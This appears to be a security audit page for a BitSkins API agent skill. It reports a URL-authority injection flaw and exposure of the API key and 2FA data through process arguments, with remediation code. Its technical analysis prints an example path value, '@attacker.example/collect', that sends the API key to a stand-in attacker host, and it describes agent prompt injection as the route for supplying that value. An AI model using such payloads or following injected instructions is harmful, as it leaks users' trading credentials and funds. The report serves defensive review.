Back to skill

Security audit

BitSkins

Security checks for vulnerabilities and agentic risk

Overview

This is a coherent BitSkins API helper, but it handles a powerful trading account API key in ways that could leak credentials or enable high-impact account and financial actions if misused.

Review before installing. This skill should only be used with a tightly scoped BitSkins API key, and ideally after the helper validates paths against api.bitskins.com and stops passing secrets through command-line arguments. Confirm every purchase, sale, withdrawal, deposit, API-key, 2FA, and account-security action, and revoke the API key if you suspect it was exposed.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (2)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/bitskins-api.sh:26
Finding

API Key Disclosure Through Unvalidated URL Construction

Content
View full analysis
[JSON_BODY]}" BODY="${3:-}" METHOD_UPPER=$(echo "$METHOD" | tr '[:lower:]' '[:upper:]') CURL_ARGS=( -s -X "$METHOD_UPPER" -H "x-apikey: $BITSKINS_API_KEY" -H "Content-Type: application/json" -H "Accept: application/json" -w "\n%{http_code}" "${BASE_URL}${PATH_ARG}" ) if [ -n "$BODY" ] && [ "$METHOD_UPPER" != "GET" ]; then CURL_ARGS+=(-d "$BODY") fi RESPONSE=$(curl "${CURL_ARGS[@]}") ``` ### Technical Analysis The script accepts a caller-controlled path and concatenates it directly with the trusted base URL: ```bash "${BASE_URL}${PATH_ARG}" ``` It does not verify that the supplied value starts with exactly one `/`, represents only a relative URL path, or leaves the URL authority unchanged. For example, a path argument of: ```text @attacker.example/collect ``` produces: ```text https://api.bitskins.com@attacker.example/collect ``` Under standard URL parsing rules, `api.bitskins.com` is interpreted as URL user information and `attacker.example` becomes the destination host. Because the script attaches the `x-apikey` header to the same request, `curl` sends the BitSkins API key to the attacker-controlled server. Shell quoting prevents ordinary shell command injection, but it does not prevent this URL-authority injection because the vulnerability occurs inside URL parsing. ### Attack Path 1. An attacker influences the path passed to the helper, potentially through untrusted instructions processed by an Agent. 2. The attacker supplies a value such as `@attacker.example/collect`. 3. The script constructs `https://api.bitskins.com@attacker.example/collect`. 4. `curl` resolves the actual destination as `attacker.example`. 5. The request includes `x-apikey:
Remediation
View remediation
&2 exit 1 ;; esac if [[ ! "$PATH_ARG" =~ ^/[A-Za-z0-9._~!$'\''()*+,;=:@%/-]*$ ]] || [[ "$PATH_ARG" == //* ]] || [[ "$PATH_ARG" == *\\* ]] || [[ "$PATH_ARG" == *"#"* ]]; then echo "Error: invalid API path." >&2 exit 1 fi REQUEST_URL="${BASE_URL}${PATH_ARG}" ``` For stronger defense in depth, parse `REQUEST_URL` using a URL-aware utility and assert immediately before execution that: - The scheme is `https`. - The hostname is exactly `api.bitskins.com`. - No username or password component is present. - The port is absent or explicitly approved. Authentication headers must never be added until these checks pass. ]]>

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/bitskins-api.sh:25
Finding

API Keys and Financial Authorization Data Exposed in Process Arguments

Content
View full analysis
[JSON_BODY]}" PATH_ARG="${2:?Usage: bitskins-api.sh [JSON_BODY]}" BODY="${3:-}" METHOD_UPPER=$(echo "$METHOD" | tr '[:lower:]' '[:upper:]') CURL_ARGS=( -s -X "$METHOD_UPPER" -H "x-apikey: $BITSKINS_API_KEY" -H "Content-Type: application/json" -H "Accept: application/json" -w "\n%{http_code}" "${BASE_URL}${PATH_ARG}" ) if [ -n "$BODY" ] && [ "$METHOD_UPPER" != "GET" ]; then CURL_ARGS+=(-d "$BODY") fi RESPONSE=$(curl "${CURL_ARGS[@]}") ``` The documented invocation pattern also encourages users to place request bodies directly on the command line: ```bash bash bitskins-api/scripts/bitskins-api.sh POST /market/search/730 '{"limit":10,"offset":0,"where":{}}' ``` The endpoint reference identifies sensitive body parameters used with this interface, including `twofa_code`, `security_code`, cryptocurrency addresses, and wallet withdrawal details. ### Technical Analysis The script expands the API key into a `curl` header argument: ```bash -H "x-apikey: $BITSKINS_API_KEY" ``` It also accepts the entire JSON request body as the third positional shell argument and later passes it to `curl` through: ```bash -d "$BODY" ``` Consequently, sensitive values can appear in process argument vectors while the shell script and `curl` are running. Depending on operating-system process visibility and isolation controls, another local user or process may inspect those arguments using process-monitoring interfaces. Interactive invocation can additionally retain the original JSON argument in shell history. This is especially significant for the documented ...[truncated 1858 chars]
Remediation
View remediation
"$BODY_FILE" curl \ --silent \ --request "$METHOD_UPPER" \ --header "Content-Type: application/json" \ --header "Accept: application/json" \ --data-binary "@$BODY_FILE" \ "$REQUEST_URL" ``` The API header should be supplied through a protected mechanism that does not expose its value in ordinary process listings, such as a mode-`0600` temporary curl configuration file or another secret-delivery mechanism appropriate to the execution platform. Any such file must be created atomically, excluded from logs, and removed through a reliable cleanup trap. For 2FA and card security values, prompt securely or receive them through protected standard input immediately before use, and never log or persist them. ]]>
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
Findings (4)

Tp4

High
Category
MCP Tool Poisoning
Confidence
95% confidence
Finding

The skill advertises a broad, high-trust BitSkins integration, including trading, wallet actions, and WebSocket support, but the described implementation is only a generic shell-driven REST wrapper and does not actually constrain or implement those higher-level operations safely. This mismatch can mislead users and orchestrators into granting trust or invoking sensitive financial/account actions without the guardrails, validation, or explicit capability boundaries that a full implementation would normally provide.

Content

No source excerpt is available for this finding.

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
91% confidence
Finding

The skill invokes a shell-based helper script to perform authenticated API calls but does not declare any tool scope or allowed-tools restrictions. That creates unnecessary execution latitude: an agent or integration may permit broader shell use than intended, increasing the chance of command misuse, accidental unsafe execution, or abuse of the privileged API key during financial operations.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

This markdown file describes operations such as blocking an account, disabling API keys or 2FA, purchasing items, withdrawing items, depositing funds, and withdrawing cryptocurrency or card funds, but it does not include explicit cautionary warnings about account lockout, irreversible transfers, or financial consequences. For markdown files, SQP-2 applies when the skill description omits warnings about behaviors that could affect user data, privacy, or system integrity.

Content

No source excerpt is available for this finding.

Missing User Warnings

Low
Category
Not specified by scanner
Confidence
84% confidence
Finding

This markdown file includes executable example code that accesses process.env.BITSKINS_API_KEY and transmits it to the WebSocket service for authentication. The surrounding documentation does not warn users that the example uses sensitive credentials or advise safe handling of API keys.

Content

No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.